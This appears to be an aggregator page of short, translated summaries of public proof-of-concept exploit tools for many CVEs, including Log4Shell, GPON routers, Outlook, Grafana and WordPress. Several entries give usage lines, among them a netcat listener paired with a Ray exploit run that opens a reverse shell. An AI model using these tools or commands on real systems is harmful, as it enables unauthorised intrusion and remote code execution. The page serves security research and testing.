Log4j-_Vulnerability

Web 存在 CVE-2021-44228 漏洞 此 Web 应用程序容易受到 CVE-2021-44228 的攻击，这是 Apache Log4j 2 中的一个关键安全漏洞，称为 Log4Shell。该漏洞允许未经身份验证的攻击者通过发送被日志系统记录的特定输入，远程执行恶意代码，从而导致对服务器的完全控制。...

CVE-2023-6019

Ray OS 命令注入 RCE（未授权） 使用方法： 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...

CVE-2022-21661

🛡️ CVE-2022-21661 一个基于 Python 的 概念验证（PoC） 漏洞利用程序，针对 CVE-2022-21661，这是 WordPress 中的一个严重漏洞 ，允许未经授权的攻击者执行对象注入攻击 ，在某些情况下可能导致远程代码执行（RCE） 。 本实现灵感来自 z92g 的基于 Go 的 PoC，旨在提供一个更易于访问、对脚本用户友好的版本，特别适合安全研究人员和 CTF 从业者。 ⚠️ 此工具仅供教育和合法测试之用。未经授权使用不属于您的系统属于违法行为。 📦 安装 克隆此仓库并使用以下命令安装所需依赖： root@kitploit: pip3 install -r...

https-github.com-xaitax-CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

CVE-2024-21413 | Microsoft Outlook 远程代码执行漏洞 PoC 📜 描述 该脚本提供了 CVE-2024-21413 的概念验证（PoC），这是 Microsoft Outlook 中发现的一个严重安全漏洞，CVSS 评分为 9.8。该漏洞被称为 MonikerLink 漏洞，影响深远，包括潜在的本地 NTLM 信息泄露和远程代码执行的可能性。此外，它突显了一种可能绕过 Office 受保护视图的攻击向量，从而将威胁扩展到其他 Office 应用程序。 🚀 用法 请负责任地使用此工具，并确保您已获得目标系统所有者的授权。该脚本需要 SMTP...

CVE-2018-4121

CVE-2018-4121 - Exploit de RCE POC de Secciones Wasm de Safari por MWR Labs c 2018 Detalles este exploit de prueba de concepto apunta únicamente a Safari 11.0.3 13604.5.6 en macOS 10.13.3 17D47. compile el payload de su elección como un dylib con un constructor ejecute python filetojsarray.py...

GPON

GPON家庭路由器上的RCE漏洞 CVE-2018-10561 漏洞描述 如今许多路由器使用GPON互联网，VPNMentor发现了一种绕过设备所有身份验证的方法（CVE-2018-10561 ）。利用此身份验证绕过，还可以揭示另一个命令注入漏洞（CVE-2018-10562 ）并在设备上执行命令。 根据Shodan的数据，撰写本文时，近一百万个此类设备暴露在互联网上。 所需依赖 requests urllib2 测试环境 Kali Linux Ubuntu 17.10 Server 使用方法 root@kitploit: python gponrce.py TARGETURL...

CVE-2022-21907-RCE

CVE-2022-21907-RCE CVE-2022-21907脆弱性RCE PoC 使用方法: go run ./CVE-2022-21907.go -h...

CVE-2024-9264-Fixed

🛠️ CVE-2024-9264 - 修正版 Grafana RCE エクスプロイト これは、CVE-2024-9264 （Grafanaにおける重大なリモートコード実行脆弱性、SQL式とDuckDB経由）の概念実証エクスプロイトの修正版 です。 🔗 元のアドバイザリ: Grafana Security Release ❌ 元のPoC: 構文エラーと writefile の誤った使用により破損 ✅ このバージョンは動作します。脆弱なGrafana 11.0.0インスタンスでテスト済みです。 ✅ このバージョンの修正点 ✅ 正しく writefile を使用（writefile...

CVE-2016-10033

WordPress 4.6 - 远程代码执行 RCE PoC 漏洞利用 CVE-2016-10033 这是 Dawid Golunski 的漏洞利用（41962）的修改版本。...

git-lfs-RCE-exploit-CVE-2020-27955

Git-lfs 远程代码执行（RCE）漏洞 CVE-2020-27955（.bat / powershell 版本） 受影响软件：git、GitHub CLI gh、GitHub Desktop、Visual Studio Code、SourceTree、SmartGit、GitKraken 等 由 Dawid Golunski 发现 https://legalhackers.com https://exploitbox.io 在 Windows 上测试于： git、GitHub CLI gh、GitHub Desktop、Visual Studio...

CVE-2017-0199

エクスプロイトツールキット CVE-2017-0199 - v2.0 エクスプロイトツールキット CVE-2017-0199 - v2.0 は、Microsoft RTF RCE を迅速かつ効果的に悪用するための便利な Python スクリプトです。複雑な設定を必要とせず、悪意のある RTF ファイルを生成し、Metasploit / Meterpreter ペイロードを被害者に配信できます。 ビデオチュートリアル https://youtu.be/42LjG7bAvpg リリースノート: スクリプトに以下の機能を導入 root@kitploit: - ツールキットを使用して悪意のある...

CVE-2012-1723

CVE-2012-1723 を悪用してリモートコード実行を行う Web ブラウザのドライブバイ攻撃。 ウォークスルーと技術的な詳細は以下で確認できます。 https://ethaniel.me/2017/02/09/practice-the-past-cve-2012-1723/...

Strutter

Strutter CVE-2018-11776 的概念验证，附带搜索 Shodan API 以查找目标的功能。 CVE-2018-11776 Apache Struts 版本 2.3 至 2.3.34 和 2.5 至 2.5.16 存在可能的远程代码执行漏洞， 当使用没有命名空间的 results 且同时其上层 actions 没有命名空间或使用通配符 命名空间时。当使用未设置 value 和 action 的 url 标签且同时其上层 actions 没有命名空间或使用通配符 命名空间时，也存在同样的可能性。...

ingressNightmare-CVE-2025-1974-exps

Ingress Nightmare CVE-2025-1907 説明 この脆弱性により、リモート攻撃者が kubernetes/ingress-nginx の影響を受けるインストール上で任意のコードを実行できるようになります。この脆弱性を悪用するのに認証は必要ありません。特定の欠陥は HTTP リクエストの処理に存在します。...

CABTrap_OneNote2007

CABTrapOneNote2007 Microsoft Office OneNote 2007 CVE-2014-2815 ".ONEPKG" 文件目录遍历漏洞导致任意代码执行 Microsoft Office OneNote 2007 CVE-2014-2815 ".ONEPKG" 文件目录遍历漏洞导致任意代码执行 OneNote 2007 存在一个漏洞，该漏洞会导致程序解压 ".onepkg" 文件中包含的文件（该文件使用 "MS CAB 格式"），通过使用文件名中的父目录 ".." 将其解压到系统中的任意位置。 由于 OneNote...

CVE-2022-2185

CVE-2022-2185 wo ee cve-2022-2185 gitlab authenticated rce 参照: https://starlabs.sg/blog/2022/07-gitlab-project-import-rce-analysis-cve-2022-2185/ 使い方 まず、GitLabインスタンスを起動します。ログインし、一意の名前でグループとプロジェクトを作成します。アクセストークンを作成します。 main.goの以下の行を編集してコンパイルします： root@kitploit: const importProjectName = "projectwtf...

Python-CVE-2020-25213

Python-CVE-2020-25213 用于 WP File Manager 漏洞的 Python 交互式利用工具。WordPress 的 File Manager wp-file-manager 插件 6.9 版本之前允许远程攻击者上传并执行任意 PHP 代码，因为它将一个不安全的示例 elFinder 连接器文件重命名为 .php 扩展名。 该脚本使用 argparse、requests、re、sys、os、json 和 random Python 模块。 要通过 pip 安装这些模块，请在命令行中执行以下命令： root@kitploit: pip install -r...

CVE-2024-41817-poc

ImageMagick 任意代码执行漏洞 CVE-2024-41817 针对 ImageMagick 版本 = 9.4.0 Python 包： paramiko 安装 root@kitploit: git clone https://github.com/Dxsk/CVE-2024-41817-poc/ cd CVE-2024-41817-poc pip install -r requirements.txt 用法 自动检测易受攻击版本： root@kitploit: python3 exploit.py -H -p -u -P -d 仅构建载荷： root@kitploit:...

CVE-2019-15107-RCE-WebMin

Webmin CVE-2019-15107 検出 軽量なPythonスクリプトで、Webminのバージョンを識別し、1.882 ≤ バージョン ≤ 1.920 を実行しているサーバーをCVE-2019-15107に対して潜在的に脆弱としてフラグ付けします。このツールは脆弱性を悪用せず 、報告のみを行います。 前提条件 Git Python 3.7+ Docker & Docker Compose リポジトリ構成 root@kitploit: your-project/ ├── detectwebmincve201915107.py ├── requirements.txt └──...

ThemeBleedPy

衷心感谢 gabek 在 C 中提供了初始 PoC，并实际发现了这个 CVE。这是用 Python 对他的代码进行的重制，复用了他的 stage 文件。 要查看原始 PoC，请访问他的页面：https://github.com/gabe-k/themebleed ThemeBleedPy 一个使用 Python 针对 CVE-2023-38146 “ThemeBleed” 的概念验证。 要求： 该程序使用 Impackets SMB 服务器 并重写了 smb2Create 函数，因此需要 Impackets 的功能。 root@kitploit: Usage: Replace...